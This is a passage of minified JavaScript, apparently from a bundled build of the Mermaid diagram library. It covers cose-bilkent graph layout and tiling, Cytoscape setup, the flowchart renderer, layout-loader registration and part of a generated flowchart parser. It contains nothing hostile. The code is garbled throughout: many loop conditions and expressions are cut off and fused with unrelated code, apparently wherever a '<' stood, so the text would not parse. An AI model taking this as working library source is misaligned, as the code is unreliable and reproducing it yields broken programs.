J=P[oe].getOtherEnd(w);if(J!=k){var ue=(A+F*Y)%360,re=(ue+Y)%360;T.branchRadialLayout(J,w,ue,re,R+I,I),F++}}},T.maxDiagonalInTree=function(w){for(var k=y.MIN_VALUE,A=0;Ak&&(k=R)}return k},T.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},T.prototype.groupZeroDegreeMembers=function(){var w=this,k={};this.memberGroups={},this.idToDummyNode={};for(var A=[],C=this.graphManager.getAllNodes(),R=0;R"u"&&(k[E]=[]),k[E]=k[E].concat(I)}Object.keys(k).forEach(function(D){if(k[D].length>1){var _="DummyCompound_"+D;w.memberGroups[_]=k[D];var O=k[D][0].getParent(),M=new l(w.graphManager);M.id=_,M.paddingLeft=O.paddingLeft||0,M.paddingRight=O.paddingRight||0,M.paddingBottom=O.paddingBottom||0,M.paddingTop=O.paddingTop||0,w.idToDummyNode[_]=M;var P=w.getGraphManager().add(w.newGraph(),M),B=O.getChild();B.add(M);for(var F=0;F=0;w--){var k=this.compoundOrder[w],A=k.id,C=k.paddingLeft,R=k.paddingTop;this.adjustLocations(this.tiledMemberPack[A],k.rect.x,k.rect.y,C,R)}},T.prototype.repopulateZeroDegreeMembers=function(){var w=this,k=this.tiledZeroDegreePack;Object.keys(k).forEach(function(A){var C=w.idToDummyNode[A],R=C.paddingLeft,I=C.paddingTop;w.adjustLocations(k[A],C.rect.x,C.rect.y,R,I)})},T.prototype.getToBeTiled=function(w){var k=w.id;if(this.toBeTiled[k]!=null)return this.toBeTiled[k];var A=w.getChild();if(A==null)return this.toBeTiled[k]=!1,!1;for(var C=A.getNodes(),R=0;R0)return this.toBeTiled[k]=!1,!1;if(I.getChild()==null){this.toBeTiled[I.id]=!1;continue}if(!this.getToBeTiled(I))return this.toBeTiled[k]=!1,!1}return this.toBeTiled[k]=!0,!0},T.prototype.getNodeDegree=function(w){for(var k=w.id,A=w.getEdges(),C=0,R=0;RD&&(D=O.rect.height)}A+=D+w.verticalPadding}},T.prototype.tileCompoundMembers=function(w,k){var A=this;this.tiledMemberPack=[],Object.keys(w).forEach(function(C){var R=k[C];A.tiledMemberPack[C]=A.tileNodes(w[C],R.paddingLeft+R.paddingRight),R.rect.width=A.tiledMemberPack[C].width,R.rect.height=A.tiledMemberPack[C].height})},T.prototype.tileNodes=function(w,k){var A=h.TILING_PADDING_VERTICAL,C=h.TILING_PADDING_HORIZONTAL,R={rows:[],rowWidth:[],rowHeight:[],width:0,height:k,verticalPadding:A,horizontalPadding:C};w.sort(function(E,D){return E.rect.width*E.rect.height>D.rect.width*D.rect.height?-1:E.rect.width*E.rect.height0&&(L+=w.horizontalPadding),w.rowWidth[A]=L,w.width0&&(E+=w.verticalPadding);var D=0;E>w.rowHeight[A]&&(D=w.rowHeight[A],w.rowHeight[A]=E,D=w.rowHeight[A]-D),w.height+=D,w.rows[A].push(k)},T.prototype.getShortestRowIndex=function(w){for(var k=-1,A=Number.MAX_VALUE,C=0;CA&&(k=C,A=w.rowWidth[C]);return k},T.prototype.canAddHorizontal=function(w,k,A){var C=this.getShortestRowIndex(w);if(C<0)return!0;var R=w.rowWidth[C];if(R+w.horizontalPadding+k<=w.width)return!0;var I=0;w.rowHeight[C]0&&(I=A+w.verticalPadding-w.rowHeight[C]);var L;w.width-R>=k+w.horizontalPadding?L=(w.height+I)/(R+k+w.horizontalPadding):L=(w.height+I)/w.width,I=A+w.verticalPadding;var E;return w.widthI&&k!=A){C.splice(-1,1),w.rows[A].push(R),w.rowWidth[k]=w.rowWidth[k]-I,w.rowWidth[A]=w.rowWidth[A]+I,w.width=w.rowWidth[instance.getLongestRowIndex(w)];for(var L=Number.MIN_VALUE,E=0;EL&&(L=C[E].height);k>0&&(L+=w.verticalPadding);var D=w.rowHeight[k]+w.rowHeight[A];w.rowHeight[k]=L,w.rowHeight[A]0)for(var B=R;B<=I;B++)P[0]+=this.grid[B][L-1].length+this.grid[B][L].length-1;if(I0)for(var B=L;B<=E;B++)P[3]+=this.grid[R-1][B].length+this.grid[R][B].length-1;for(var F=y.MAX_VALUE,G,$,U=0;U{"use strict";o((function(e,r){typeof _x=="object"&&typeof $I=="object"?$I.exports=r(FI()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof _x=="object"?_x.cytoscapeCoseBilkent=r(FI()):e.cytoscapeCoseBilkent=r(e.coseBase)}),"webpackUniversalModuleDefinition")(_x,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=1)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).layoutBase.LayoutConstants,a=n(0).layoutBase.FDLayoutConstants,s=n(0).CoSEConstants,l=n(0).CoSELayout,u=n(0).CoSENode,h=n(0).layoutBase.PointD,f=n(0).layoutBase.DimensionD,d={ready:o(function(){},"ready"),stop:o(function(){},"stop"),quality:"default",nodeDimensionsIncludeLabels:!1,refresh:30,fit:!0,padding:10,randomize:!0,nodeRepulsion:4500,idealEdgeLength:50,edgeElasticity:.45,nestingFactor:.1,gravity:.25,numIter:2500,tile:!0,animate:"end",animationDuration:500,tilingPaddingVertical:10,tilingPaddingHorizontal:10,gravityRangeCompound:1.5,gravityCompound:1,gravityRange:3.8,initialEnergyOnIncremental:.5};function p(v,x){var b={};for(var T in v)b[T]=v[T];for(var T in x)b[T]=x[T];return b}o(p,"extend");function m(v){this.options=p(d,v),g(this.options)}o(m,"_CoSELayout");var g=o(function(x){x.nodeRepulsion!=null&&(s.DEFAULT_REPULSION_STRENGTH=a.DEFAULT_REPULSION_STRENGTH=x.nodeRepulsion),x.idealEdgeLength!=null&&(s.DEFAULT_EDGE_LENGTH=a.DEFAULT_EDGE_LENGTH=x.idealEdgeLength),x.edgeElasticity!=null&&(s.DEFAULT_SPRING_STRENGTH=a.DEFAULT_SPRING_STRENGTH=x.edgeElasticity),x.nestingFactor!=null&&(s.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=a.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=x.nestingFactor),x.gravity!=null&&(s.DEFAULT_GRAVITY_STRENGTH=a.DEFAULT_GRAVITY_STRENGTH=x.gravity),x.numIter!=null&&(s.MAX_ITERATIONS=a.MAX_ITERATIONS=x.numIter),x.gravityRange!=null&&(s.DEFAULT_GRAVITY_RANGE_FACTOR=a.DEFAULT_GRAVITY_RANGE_FACTOR=x.gravityRange),x.gravityCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_STRENGTH=a.DEFAULT_COMPOUND_GRAVITY_STRENGTH=x.gravityCompound),x.gravityRangeCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=a.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=x.gravityRangeCompound),x.initialEnergyOnIncremental!=null&&(s.DEFAULT_COOLING_FACTOR_INCREMENTAL=a.DEFAULT_COOLING_FACTOR_INCREMENTAL=x.initialEnergyOnIncremental),x.quality=="draft"?i.QUALITY=0:x.quality=="proof"?i.QUALITY=2:i.QUALITY=1,s.NODE_DIMENSIONS_INCLUDE_LABELS=a.NODE_DIMENSIONS_INCLUDE_LABELS=i.NODE_DIMENSIONS_INCLUDE_LABELS=x.nodeDimensionsIncludeLabels,s.DEFAULT_INCREMENTAL=a.DEFAULT_INCREMENTAL=i.DEFAULT_INCREMENTAL=!x.randomize,s.ANIMATE=a.ANIMATE=i.ANIMATE=x.animate,s.TILE=x.tile,s.TILING_PADDING_VERTICAL=typeof x.tilingPaddingVertical=="function"?x.tilingPaddingVertical.call():x.tilingPaddingVertical,s.TILING_PADDING_HORIZONTAL=typeof x.tilingPaddingHorizontal=="function"?x.tilingPaddingHorizontal.call():x.tilingPaddingHorizontal},"getUserOptions");m.prototype.run=function(){var v,x,b=this.options,T=this.idToLNode={},S=this.layout=new l,w=this;w.stopped=!1,this.cy=this.options.cy,this.cy.trigger({type:"layoutstart",layout:this});var k=S.newGraphManager();this.gm=k;var A=this.options.eles.nodes(),C=this.options.eles.edges();this.root=k.addRoot(),this.processChildrenList(this.root,this.getTopMostNodes(A),S);for(var R=0;R0){var E;E=b.getGraphManager().add(b.newGraph(),A),this.processChildrenList(E,k,b)}}},m.prototype.stop=function(){return this.stopped=!0,this};var y=o(function(x){x("layout","cose-bilkent",m)},"register");typeof cytoscape<"u"&&y(cytoscape),e.exports=y})])})});function Hqe(t,e){t.forEach(r=>{let n={id:r.id,labelText:r.label,height:r.height,width:r.width,padding:r.padding??0};Object.keys(r).forEach(i=>{["id","label","height","width","padding","x","y"].includes(i)||(n[i]=r[i])}),e.add({group:"nodes",data:n,position:{x:r.x??0,y:r.y??0}})})}function qqe(t,e){t.forEach(r=>{let n={id:r.id,source:r.start,target:r.end};Object.keys(r).forEach(i=>{["id","start","end"].includes(i)||(n[i]=r[i])}),e.add({group:"edges",data:n})})}function Jhe(t){return new Promise(e=>{let r=qe("body").append("div").attr("id","cy").attr("style","display:none"),n=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"bezier"}}]});r.remove(),Hqe(t.nodes,n),qqe(t.edges,n),n.nodes().forEach(function(a){a.layoutDimensions=()=>{let s=a.data();return{w:s.width,h:s.height}}});let i={name:"cose-bilkent",quality:"proof",styleEnabled:!1,animate:!1};n.layout(i).run(),n.ready(a=>{X.info("Cytoscape ready",a),e(n)})})}function efe(t){return t.nodes().map(e=>{let r=e.data(),n=e.position(),i={id:r.id,x:n.x,y:n.y};return Object.keys(r).forEach(a=>{a!=="id"&&(i[a]=r[a])}),i})}function tfe(t){return t.edges().map(e=>{let r=e.data(),n=e._private.rscratch,i={id:r.id,source:r.source,target:r.target,startX:n.startX,startY:n.startY,midX:n.midX,midY:n.midY,endX:n.endX,endY:n.endY};return Object.keys(r).forEach(a=>{["id","source","target"].includes(a)||(i[a]=r[a])}),i})}var Zhe,rfe=N(()=>{"use strict";II();Zhe=ja(Qhe(),1);yr();pt();Ko.use(Zhe.default);o(Hqe,"addNodes");o(qqe,"addEdges");o(Jhe,"createCytoscapeInstance");o(efe,"extractPositionedNodes");o(tfe,"extractPositionedEdges")});async function nfe(t,e){X.debug("Starting cose-bilkent layout algorithm");try{Wqe(t);let r=await Jhe(t),n=efe(r),i=tfe(r);return X.debug(`Layout completed: ${n.length} nodes, ${i.length} edges`),{nodes:n,edges:i}}catch(r){throw X.error("Error in cose-bilkent layout algorithm:",r),r}}function Wqe(t){if(!t)throw new Error("Layout data is required");if(!t.config)throw new Error("Configuration is required in layout data");if(!t.rootNode)throw new Error("Root node is required");if(!t.nodes||!Array.isArray(t.nodes))throw new Error("No nodes found in layout data");if(!Array.isArray(t.edges))throw new Error("Edges array is required in layout data");return!0}var ife=N(()=>{"use strict";pt();rfe();o(nfe,"executeCoseBilkentLayout");o(Wqe,"validateLayoutData")});var afe,sfe=N(()=>{"use strict";ife();afe=o(async(t,e,{insertCluster:r,insertEdge:n,insertEdgeLabel:i,insertMarkers:a,insertNode:s,log:l,positionEdgeLabel:u},{algorithm:h})=>{let f={},d={},p=e.select("g");a(p,t.markers,t.type,t.diagramId);let m=p.insert("g").attr("class","subgraphs"),g=p.insert("g").attr("class","edgePaths"),y=p.insert("g").attr("class","edgeLabels"),v=p.insert("g").attr("class","nodes");l.debug("Inserting nodes into DOM for dimension calculation"),await Promise.all(t.nodes.map(async T=>{if(T.isGroup){let S={...T};d[T.id]=S,f[T.id]=S,await r(m,T)}else{let S={...T};f[T.id]=S;let w=await s(v,T,{config:t.config,dir:t.direction||"TB"}),k=w.node().getBBox();S.width=k.width,S.height=k.height,S.domId=w,l.debug(`Node ${T.id} dimensions: ${k.width}x${k.height}`)}})),l.debug("Running cose-bilkent layout algorithm");let x={...t,nodes:t.nodes.map(T=>{let S=f[T.id];return{...T,width:S.width,height:S.height}})},b=await nfe(x,t.config);l.debug("Positioning nodes based on layout results"),b.nodes.forEach(T=>{let S=f[T.id];S?.domId&&(S.domId.attr("transform",`translate(${T.x}, ${T.y})`),S.x=T.x,S.y=T.y,l.debug(`Positioned node ${S.id} at center (${T.x}, ${T.y})`))}),b.edges.forEach(T=>{let S=t.edges.find(w=>w.id===T.id);S&&(S.points=[{x:T.startX,y:T.startY},{x:T.midX,y:T.midY},{x:T.endX,y:T.endY}])}),l.debug("Inserting and positioning edges"),await Promise.all(t.edges.map(async T=>{let S=await i(y,T),w=f[T.start??""],k=f[T.end??""];if(w&&k){let A=b.edges.find(C=>C.id===T.id);if(A){l.debug("APA01 positionedEdge",A);let C={...T},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}else{let C={...T,points:[{x:w.x||0,y:w.y||0},{x:k.x||0,y:k.y||0}]},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}}})),l.debug("Cose-bilkent rendering completed")},"render")});var ofe={};dr(ofe,{render:()=>Yqe});var Yqe,lfe=N(()=>{"use strict";sfe();Yqe=afe});var Dx,zI,Xqe,Qo,$c,Nf=N(()=>{"use strict";Qte();pt();Dx={},zI=o(t=>{for(let e of t)Dx[e.name]=e},"registerLayoutLoaders"),Xqe=o(()=>{zI([{name:"dagre",loader:o(async()=>await Promise.resolve().then(()=>(Roe(),Loe)),"loader")},{name:"cose-bilkent",loader:o(async()=>await Promise.resolve().then(()=>(lfe(),ofe)),"loader")}])},"registerDefaultLayoutLoaders");Xqe();Qo=o(async(t,e)=>{if(!(t.layoutAlgorithm in Dx))throw new Error(`Unknown layout algorithm: ${t.layoutAlgorithm}`);let r=Dx[t.layoutAlgorithm];return(await r.loader()).render(t,e,Kte,{algorithm:r.algorithm})},"render"),$c=o((t="",{fallback:e="dagre"}={})=>{if(t in Dx)return t;if(e in Dx)return X.warn(`Layout algorithm ${t} is not registered. Using ${e} as fallback.`),e;throw new Error(`Both layout algorithms ${t} and ${e} are not registered.`)},"getRegisteredLayoutAlgorithm")});var Ws,jqe,Kqe,Mf=N(()=>{"use strict";Ei();pt();Ws=o((t,e,r,n)=>{t.attr("class",r);let{width:i,height:a,x:s,y:l}=jqe(t,e);mn(t,a,i,n);let u=Kqe(s,l,i,a,e);t.attr("viewBox",u),X.debug(`viewBox configured: ${u} with padding: ${e}`)},"setupViewPortForSVG"),jqe=o((t,e)=>{let r=t.node()?.getBBox()||{width:0,height:0,x:0,y:0};return{width:r.width+e*2,height:r.height+e*2,x:r.x,y:r.y}},"calculateDimensionsWithPadding"),Kqe=o((t,e,r,n,i)=>`${t-i} ${e-i} ${r} ${n}`,"createViewBox")});var Qqe,Zqe,cfe,ufe=N(()=>{"use strict";yr();Xt();pt();ep();Nf();Mf();tr();Qqe=o(function(t,e){return e.db.getClasses()},"getClasses"),Zqe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,flowchart:a,layout:s}=ge(),l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?l.nodes()[0].contentDocument:document;X.debug("Before getData: ");let h=n.db.getData();X.debug("Data: ",h);let f=Vo(e,i),d=n.db.getDirection();h.type=n.type,h.layoutAlgorithm=$c(s),h.layoutAlgorithm==="dagre"&&s==="elk"&&X.warn("flowchart-elk was moved to an external package in Mermaid v11. Please refer [release notes](https://github.com/mermaid-js/mermaid/releases/tag/v11.0.0) for more details. This diagram will be rendered using `dagre` layout as a fallback."),h.direction=d,h.nodeSpacing=a?.nodeSpacing||50,h.rankSpacing=a?.rankSpacing||50,h.markers=["point","circle","cross"],h.diagramId=e,X.debug("REF1:",h),await Qo(h,f);let p=h.config.flowchart?.diagramPadding??8;qt.insertTitle(f,"flowchartTitleText",a?.titleTopMargin||0,n.db.getDiagramTitle()),Ws(f,p,"flowchart",a?.useMaxWidth||!1);for(let m of h.nodes){let g=qe(`#${e} [id="${m.id}"]`);if(!g||!m.link)continue;let y=u.createElementNS("http://www.w3.org/2000/svg","a");y.setAttributeNS("http://www.w3.org/2000/svg","class",m.cssClasses),y.setAttributeNS("http://www.w3.org/2000/svg","rel","noopener"),i==="sandbox"?y.setAttributeNS("http://www.w3.org/2000/svg","target","_top"):m.linkTarget&&y.setAttributeNS("http://www.w3.org/2000/svg","target",m.linkTarget);let v=g.insert(function(){return y},":first-child"),x=g.select(".label-container");x&&v.append(function(){return x.node()});let b=g.select(".label");b&&v.append(function(){return b.node()})}},"draw"),cfe={getClasses:Qqe,draw:Zqe}});var GI,VI,hfe=N(()=>{"use strict";GI=(function(){var t=o(function(fr,it,kt,jt){for(kt=kt||{},jt=fr.length;jt--;kt[fr[jt]]=it);return kt},"o"),e=[1,4],r=[1,3],n=[1,5],i=[1,8,9,10,11,27,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],a=[2,2],s=[1,13],l=[1,14],u=[1,15],h=[1,16],f=[1,23],d=[1,25],p=[1,26],m=[1,27],g=[1,49],y=[1,48],v=[1,29],x=[1,30],b=[1,31],T=[1,32],S=[1,33],w=[1,44],k=[1,46],A=[1,42],C=[1,47],R=[1,43],I=[1,50],L=[1,45],E=[1,51],D=[1,52],_=[1,34],O=[1,35],M=[1,36],P=[1,37],B=[1,57],F=[1,8,9,10,11,27,32,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],G=[1,61],$=[1,60],U=[1,62],j=[8,9,11,75,77,78],te=[1,78],Y=[1,91],oe=[1,96],J=[1,95],ue=[1,92],re=[1,88],ee=[1,94],Z=[1,90],K=[1,97],ae=[1,93],Q=[1,98],de=[1,89],ne=[8,9,10,11,40,75,77,78],Te=[8,9,10,11,40,46,75,77,78],q=[8,9,10,11,29,40,44,46,48,50,52,54,56,58,60,63,65,67,68,70,75,77,78,89,102,105,106,109,111,114,115,116],Ve=[8,9,11,44,60,75,77,78,89,102,105,106,109,111,114,115,116],pe=[44,60,89,102,105,106,109,111,114,115,116],Be=[1,121],Ye=[1,122],He=[1,124],Le=[1,123],Ie=[44,60,62,74,89,102,105,106,109,111,114,115,116],Ne=[1,133],Ce=[1,147],Fe=[1,148],fe=[1,149],xe=[1,150],W=[1,135],he=[1,137],z=[1,141],se=[1,142],le=[1,143],ke=[1,144],ve=[1,145],ye=[1,146],Re=[1,151],_e=[1,152],ze=[1,131],Ke=[1,132],xt=[1,139],We=[1,134],Oe=[1,138],et=[1,136],Ue=[8,9,10,11,27,32,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],lt=[1,154],Gt=[1,156],vt=[8,9,11],Lt=[8,9,10,11,14,44,60,89,105,106,109,111,114,115,116],dt=[1,176],nt=[1,172],bt=[1,173],wt=[1,177],yt=[1,174],ft=[1,175],Ur=[77,116,119],_t=[8,9,10,11,12,14,27,29,32,44,60,75,84,85,86,87,88,89,90,105,109,111,114,115,116],bn=[10,106],Br=[31,49,51,53,55,57,62,64,66,67,69,71,116,117,118],cr=[1,247],ar=[1,245],_r=[1,249],Ct=[1,243],Se=[1,244],at=[1,246],Nt=[1,248],wr=[1,250],Tn=[1,268],yn=[8,9,11,106],sn=[8,9,10,11,60,84,105,106,109,110,111,112],Hi={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,graphConfig:4,document:5,line:6,statement:7,SEMI:8,NEWLINE:9,SPACE:10,EOF:11,GRAPH:12,NODIR:13,DIR:14,FirstStmtSeparator:15,ending:16,endToken:17,spaceList:18,spaceListNewline:19,vertexStatement:20,separator:21,styleStatement:22,linkStyleStatement:23,classDefStatement:24,classStatement:25,clickStatement:26,subgraph:27,textNoTags:28,SQS:29,text:30,SQE:31,end:32,direction:33,acc_title:34,acc_title_value:35,acc_descr:36,acc_descr_value:37,acc_descr_multiline_value:38,shapeData:39,SHAPE_DATA:40,link:41,node:42,styledVertex:43,AMP:44,vertex:45,STYLE_SEPARATOR:46,idString:47,DOUBLECIRCLESTART:48,DOUBLECIRCLEEND:49,PS:50,PE:51,"(-":52,"-)":53,STADIUMSTART:54,STADIUMEND:55,SUBROUTINESTART:56,SUBROUTINEEND:57,VERTEX_WITH_PROPS_START:58,"NODE_STRING[field]":59,COLON:60,"NODE_STRING[value]":61,PIPE:62,CYLINDERSTART:63,CYLINDEREND:64,DIAMOND_START:65,DIAMOND_STOP:66,TAGEND:67,TRAPSTART:68,TRAPEND:69,INVTRAPSTART:70,INVTRAPEND:71,linkStatement:72,arrowText:73,TESTSTR:74,START_LINK:75,edgeText:76,LINK:77,LINK_ID:78,edgeTextToken:79,STR:80,MD_STR:81,textToken:82,keywords:83,STYLE:84,LINKSTYLE:85,CLASSDEF:86,CLASS:87,CLICK:88,DOWN:89,UP:90,textNoTagsToken:91,stylesOpt:92,"idString[vertex]":93,"idString[class]":94,CALLBACKNAME:95,CALLBACKARGS:96,HREF:97,LINK_TARGET:98,"STR[link]":99,"STR[tooltip]":100,alphaNum:101,DEFAULT:102,numList:103,INTERPOLATE:104,NUM:105,COMMA:106,style:107,styleComponent:108,NODE_STRING:109,UNIT:110,BRKT:111,PCT:112,idStringToken:113,MINUS:114,MULT:115,UNICODE_TEXT:116,TEXT:117,TAGSTART:118,EDGE_TEXT:119,alphaNumToken:120,direction_tb:121,direction_bt:122,direction_rl:123,direction_lr:124,$accept:0,$end:1},terminals_:{2:"error",8:"SEMI",9:"NEWLINE",10:"SPACE",11:"EOF",12:"GRAPH",13:"NODIR",14:"DIR",27:"subgraph",29:"SQS",31:"SQE",32:"end",34:"acc_title",35:"acc_title_value",36:"acc_descr",37:"acc_descr_value",38:"acc_descr_multiline_value",40:"SHAPE_DATA",44:"AMP",46:"STYLE_SEPARATOR",48:"DOUBLECIRCLESTART",49:"DOUBLECIRCLEEND",50:"PS",51:"PE",52:"(-",53:"-)",54:"STADIUMSTART",55:"STADIUMEND",56:"SUBROUTINESTART",57:"SUBROUTINEEND",58:"VERTEX_WITH_PROPS_START",59:"NODE_STRING[field]",60:"COLON",61:"NODE_STRING[value]",62:"PIPE",63:"CYLINDERSTART",64:"CYLINDEREND",65:"DIAMOND_START",66:"DIAMOND_STOP",67:"TAGEND",68:"TRAPSTART",69:"TRAPEND",70:"INVTRAPSTART",71:"INVTRAPEND",74:"TESTSTR",75:"START_LINK",77:"LINK",78:"LINK_ID",80:"STR",81:"MD_STR",84:"STYLE",85:"LINKSTYLE",86:"CLASSDEF",87:"CLASS",88:"CLICK",89:"DOWN",90:"UP",93:"idString[vertex]",94:"idString[class]",95:"CALLBACKNAME",96:"CALLBACKARGS",97:"HREF",98:"LINK_TARGET",99:"STR[link]",100:"STR[tooltip]",102:"DEFAULT",104:"INTERPOLATE",105:"NUM",106:"COMMA",109:"NODE_STRING",110:"UNIT",111:"BRKT",112:"PCT",114:"MINUS",115:"MULT",116:"UNICODE_TEXT",117:"TEXT",118:"TAGSTART",119:"EDGE_TEXT",121:"direction_tb",122:"direction_bt",123:"direction_rl",124:"direction_lr"},productions_:[0,[3,2],[5,0],[5,2],[6,1],[6,1],[6,1],[6,1],[6,1],[4,2],[4,2],[4,2],[4,3],[16,2],[16,1],[17,1],[17,1],[17,1],[15,1],[15,1],[15,2],[19,2],[19,2],[19,1],[19,1],[18,2],[18,1],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,9],[7,6],[7,4],[7,1],[7,2],[7,2],[7,1],[21,1],[21,1],[21,1],[39,2],[39,1],[20,4],[20,3],[20,4],[20,2],[20,2],[20,1],[42,1],[42,6],[42,5],[43,1],[43,3],[45,4],[45,4],[45,6],[45,4],[45,4],[45,4],[45,8],[45,4],[45,4],[45,4],[45,6],[45,4],[45,4],[45,4],[45,4],[45,4],[45,1],[41,2],[41,3],[41,3],[41,1],[41,3],[41,4],[76,1],[76,2],[76,1],[76,1],[72,1],[72,2],[73,3],[30,1],[30,2],[30,1],[30,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[28,1],[28,2],[28,1],[28,1],[24,5],[25,5],[26,2],[26,4],[26,3],[26,5],[26,3],[26,5],[26,5],[26,7],[26,2],[26,4],[26,2],[26,4],[26,4],[26,6],[22,5],[23,5],[23,5],[23,9],[23,9],[23,7],[23,7],[103,1],[103,3],[92,1],[92,3],[107,1],[107,2],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[82,1],[82,1],[82,1],[82,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[79,1],[79,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[47,1],[47,2],[101,1],[101,2],[33,1],[33,1],[33,1],[33,1]],performAction:o(function(it,kt,jt,ht,Dr,me,Yl){var be=me.length-1;switch(Dr){case 2:this.$=[];break;case 3:(!Array.isArray(me[be])||me[be].length>0)&&me[be-1].push(me[be]),this.$=me[be-1];break;case 4:case 183:this.$=me[be];break;case 11:ht.setDirection("TB"),this.$="TB";break;case 12:ht.setDirection(me[be-1]),this.$=me[be-1];break;case 27:this.$=me[be-1].nodes;break;case 28:case 29:case 30:case 31:case 32:this.$=[];break;case 33:this.$=ht.addSubGraph(me[be-6],me[be-1],me[be-4]);break;case 34:this.$=ht.addSubGraph(me[be-3],me[be-1],me[be-3]);break;case 35:this.$=ht.addSubGraph(void 0,me[be-1],void 0);break;case 37:this.$=me[be].trim(),ht.setAccTitle(this.$);break;case 38:case 39:this.$=me[be].trim(),ht.setAccDescription(this.$);break;case 43:this.$=me[be-1]+me[be];break;case 44:this.$=me[be];break;case 45:ht.addVertex(me[be-1][me[be-1].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be]),ht.addLink(me[be-3].stmt,me[be-1],me[be-2]),this.$={stmt:me[be-1],nodes:me[be-1].concat(me[be-3].nodes)};break;case 46:ht.addLink(me[be-2].stmt,me[be],me[be-1]),this.$={stmt:me[be],nodes:me[be].concat(me[be-2].nodes)};break;case 47:ht.addLink(me[be-3].stmt,me[be-1],me[be-2]),this.$={stmt:me[be-1],nodes:me[be-1].concat(me[be-3].nodes)};break;case 48:this.$={stmt:me[be-1],nodes:me[be-1]};break;case 49:ht.addVertex(me[be-1][me[be-1].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be]),this.$={stmt:me[be-1],nodes:me[be-1],shapeData:me[be]};break;case 50:this.$={stmt:me[be],nodes:me[be]};break;case 51:this.$=[me[be]];break;case 52:ht.addVertex(me[be-5][me[be-5].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be-4]),this.$=me[be-5].concat(me[be]);break;case 53:this.$=me[be-4].concat(me[be]);break;case 54:this.$=me[be];break;case 55:this.$=me[be-2],ht.setClass(me[be-2],me[be]);break;case 56:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"square");break;case 57:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"doublecircle");break;case 58:this.$=me[be-5],ht.addVertex(me[be-5],me[be-2],"circle");break;case 59:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"ellipse");break;case 60:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"stadium");break;case 61:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"subroutine");break;case 62:this.$=me[be-7],ht.addVertex(me[be-7],me[be-1],"rect",void 0,void 0,void 0,Object.fromEntries([[me[be-5],me[be-3]]]));break;case 63:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"cylinder");break;case 64:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"round");break;case 65:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"diamond");break;case 66:this.$=me[be-5],ht.addVertex(me[be-5],me[be-2],"hexagon");break;case 67:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"odd");break;case 68:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"trapezoid");break;case 69:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"inv_trapezoid");break;case 70:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"lean_right");break;case 71:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"lean_left");break;case 72:this.$=me[be],ht.addVertex(me[be]);break;case 73:me[be-1].text=me[be],this.$=me[be-1];break;case 74:case 75:me[be-2].text=me[be-1],this.$=me[be-2];break;case 76:this.$=me[be];break;case 77:var jr=ht.destructLink(me[be],me[be-2]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,text:me[be-1]};break;case 78:var jr=ht.destructLink(me[be],me[be-2]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,text:me[be-1],id:me[be-3]};break;case 79:this.$={text:me[be],type:"text"};break;case 80:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 81:this.$={text:me[be],type:"string"};break;case 82:this.$={text:me[be],type:"markdown"};break;case 83:var jr=ht.destructLink(me[be]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length};break;case 84:var jr=ht.destructLink(me[be]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,id:me[be-1]};break;case 85:this.$=me[be-1];break;case 86:this.$={text:me[be],type:"text"};break;case 87:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 88:this.$={text:me[be],type:"string"};break;case 89:case 